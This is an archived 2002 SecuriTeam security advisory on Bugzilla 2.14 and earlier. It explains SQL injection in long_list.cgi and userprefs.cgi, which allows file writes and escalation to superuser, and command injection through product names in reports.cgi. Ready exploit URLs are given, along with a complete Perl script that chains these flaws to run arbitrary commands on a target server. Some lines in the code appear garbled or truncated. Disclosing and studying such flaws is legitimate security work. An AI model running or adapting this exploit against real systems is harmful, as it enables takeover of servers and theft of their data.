

[EXPL] Improper Input Validation in Bugzilla (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0043.html>

From: support@securiteam.com

Date: 01/11/02

From: support@securiteam.com

To: list@securiteam.com

Date: Fri, 11 Jan 2002 15:44:24 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Improper Input Validation in Bugzilla (Exploit)

SUMMARY

<<http://www.Bugzilla.org>> Bugzilla is a database for bugs; it allows people to report bugs and assigns these bugs to the appropriate developers. Developers can use Bugzilla to keep a commotion list as well as prioritize, schedule and track dependencies. The following is never before seen technical details on multiple vulnerabilities found in Bugzilla.

DETAILS

Vulnerable systems:

Bugzilla versions prior and including 2.14

Immune systems:

Bugzilla version 2.15 and above

Creating files on remote server:

This vulnerability may allow us easily (at least when using Bugzilla with MySQL) to create files on remote server in some cases, using MySQL's INTO OUTFILE.

Securiteam: [EXPL] Improper Input Validation in Bugzilla (Exploit)

long_list.cgi:

```
my $generic_query = "
select
  bugs.bug_id,
  ...
from bugs,profiles ...
where assign.userid = ... and";

$::FORM{'buglist'} = "" unless exists $::FORM{'buglist'};
foreach my $bug (split(/:/, $::FORM{'buglist'})) {
  SendSQL("$generic_query bugs.bug_id = $bug");
}
```

[..]

As we can see \$::FORM{'buglist'} (submitted by user) is not quoted here, also script does not check if bug_id is numeric value. So we are able to add extra SQL command into \$generic_query.

Let us try, after login we request:

http://site/bugzilla/long_list.cgi?buglist=1%20INTO%20OUTFILE%20%27/tmp/pussycat%27

We are lucky, if everything works, we will see only little message: "Full Text Bug Listing", so we then know file is created. If any problem occurs, script will happily inform us.

```
$ ls -l /tmp/pussycat
```

```
-rw-rw-rw- 1 mysql mysql 118 Jan 13 20:41 /tmp/pussycat
```

This may be serious problem if i.e. remote server running PHP, and we have any writable dir inside DOCUMENT_ROOT reachable from outside, we can create some evil php script (Bugzilla by default creates directory 'data' with permissions sets to 777, it is also not a problem to find out real path).

Obtaining Bugzilla superuser access:

What you can do with your Bugzilla account depends on your groupset, by default, any newly created user has groupset=96 what means:

- * Can edit all aspects of any bug.
- * Can confirm a bug.

(Get into User preferences and choose Permissions link to see that.)

Why not to become superuser? Nothing easier. Take look into userprefs.cgi:

```
sub SaveFooter {
```

[..]

Securiteam: [EXPL] Improper Input Validation in Bugzilla (Exploit)

```
SendSQL("UPDATE profiles SET mybugslink = '' . $::FORM{'mybugslink'} .  
'' WHERE userid = $userid");
```

[..]

Once again unquoted user supplied value.

– Once you are in 'User preferences' request following:

```
http://site/bugzilla/userprefs.cgi?bank=footerink=1\  
'%20%2cgroupset='9223372036854775807  
(9223372036854775807 it is just decimal of all 64 permission bits)
```

– Choose Permissions link and you should see:

- * Can tweak operating parameters
- * Can edit or disable users
- * Can create and destroy groups.
- * Can create, destroy, and edit components.
- * Can create, destroy, and edit keywords.
- * Can edit all aspects of any bug.
- * Can confirm a bug.

Executing commands on remote server:

After quick look into reports.cgi, we can discover this:

```
sub generate_chart {  
    my ($data_file, $image_file, $type) = @_;  
  
    if (! open FILE, $data_file) {  
        &die_politely ("The tool which gathers bug counts has not been run  
yet.");  
    }  
}
```

Our generate_chart() is called from show_chart() function this way:

```
if (! is_legal_product ($FORM{'product'})) {  
    &die_politely ("Unknown product: $FORM{'product'}");  
}  
  
...  
my $data_file = daily_stats_filename($FORM{product})  
...  
  
if (! -e "$graph_dir/$image_file") {  
    generate_chart("$dir/$data_file", "$graph_dir/$image_file",  
$type);  
}
```

"product" is user submitted value but it is checked by function is_legal_product() so we first have to create product with name of our evil command. Of course, normal user cannot add new products and components but we gained administrator privileges using the previous vulnerability.

Securiteam: [EXPL] Improper Input Validation in Bugzilla (Exploit)

One more thing to pass:

```
sub daily_stats_filename {
    my ($prodname) = @_ ;
    $prodname =~ s/\//-/gs;
    return $prodname;
}
```

Every slash in our command will be replaced with dash, not so good, but we are smart enough to use `echo -e \057` instead of /. Notice that exploiting last bug is dependant on availability of GD modules, since check is done in sub show_chart() :

```
...
return unless $use_gd;
```

Exploit:

A script is attached which exploits second and third vulnerability to execute commands on remote server running Bugzilla.

```
#!/usr/bin/perl
```

```
# Bugzilla <= 2.14 remote exploit - funkysh@sm.pl
# first unpublished release - 13/01/2001
# checked with version 2.12 - 08/05/2001
# checked with version 2.14 - 10/09/2001
```

```
sub create_cmd {
    $cmd = " ;" . $_[0];
    $cmd =~ s/\//^echo -e "\\057"/gs;
    $cmd = $cmd . "|";
    if (length($cmd) > 64)
    {
        die ("created cmd string is longer than 64 chars,
sorry.\n");
    }
    $cmd =~ s/([ ~])/sprintf ("%%%x", ord($1))/ge;
    return $cmd
}
```

```
sub check_perm {
    open (RES, "lynx -source
\"$host/userprefs.cgi?Bugzilla_login=$login&Bugzilla_password=$password&bank=permissions\"");
    while ($output = <RES>)
    {
        chomp($output);
        if ($output =~ /<LI>Can/)
        {
            if ($output =~ /edit components/)
            {
                $perm = 1;
            }
        }
    }
}
```

Securiteam: [EXPL] Improper Input Validation in Bugzilla (Exploit)

```
    }
    $output =~ s/<LI>/^* /gs;
    print (" $output\n");
  }
}
return $perm;
}

$perm = 0;
$done = 0;
$superusergroupset = "9223372036854775807";

if (@ARGV < 4)
{
  die ("usage: $0 <url> <your_bugzilla_account> <passwd> <cmd>\n",
    " e.g.: $0 http://victim.com/bugzilla me\@email.com secret
  \touch /tmp/heh"\n");
}

($host, $login, $password, $cmd) = (@ARGV);

print ("=> checking permissions\n");

if (! check_perm())
{
  print ("=> insufficient groupset, trying to become bugzilla
  administrator\n");
  open (RES, "lynx -source
  \"$host/userprefs.cgi?Bugzilla_login=$login&Bugzilla_password=$password&bank=footer&dosave=1&mybugslink="
  );
}

if (! $perm)
{
  if (! check_perm())
  {
    die ("=> changing groupset failed\n");
  }
}

print ("=> permissions ok, creating cmd-product ");

$cmd = (create_cmd($cmd));

open (RES, "lynx -source
  \"$host/editproducts.cgi?Bugzilla_login=$login&Bugzilla_password=$password&version=unspecified&product=$cmd
  ");

while ($output = <RES>)
{
  chomp($output);
  if ($output =~ /OK, done./)
  {
```

Securiteam: [EXPL] Improper Input Validation in Bugzilla (Exploit)

```
    print ("[ok]\n"); $done = 1;
  }
}

if (! $done)
{
  die ("[failed]\n");
}

print ("=> trying to execute cmd on remote host\n");
open (RES, "lynx -source
\"$host/reports.cgi?output=show_chart&product=$cmd&datasets=1\"");
exit(0);
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:funkysh@sm.pl> funkysh.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[UNIX] Security Analysis of VTun"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)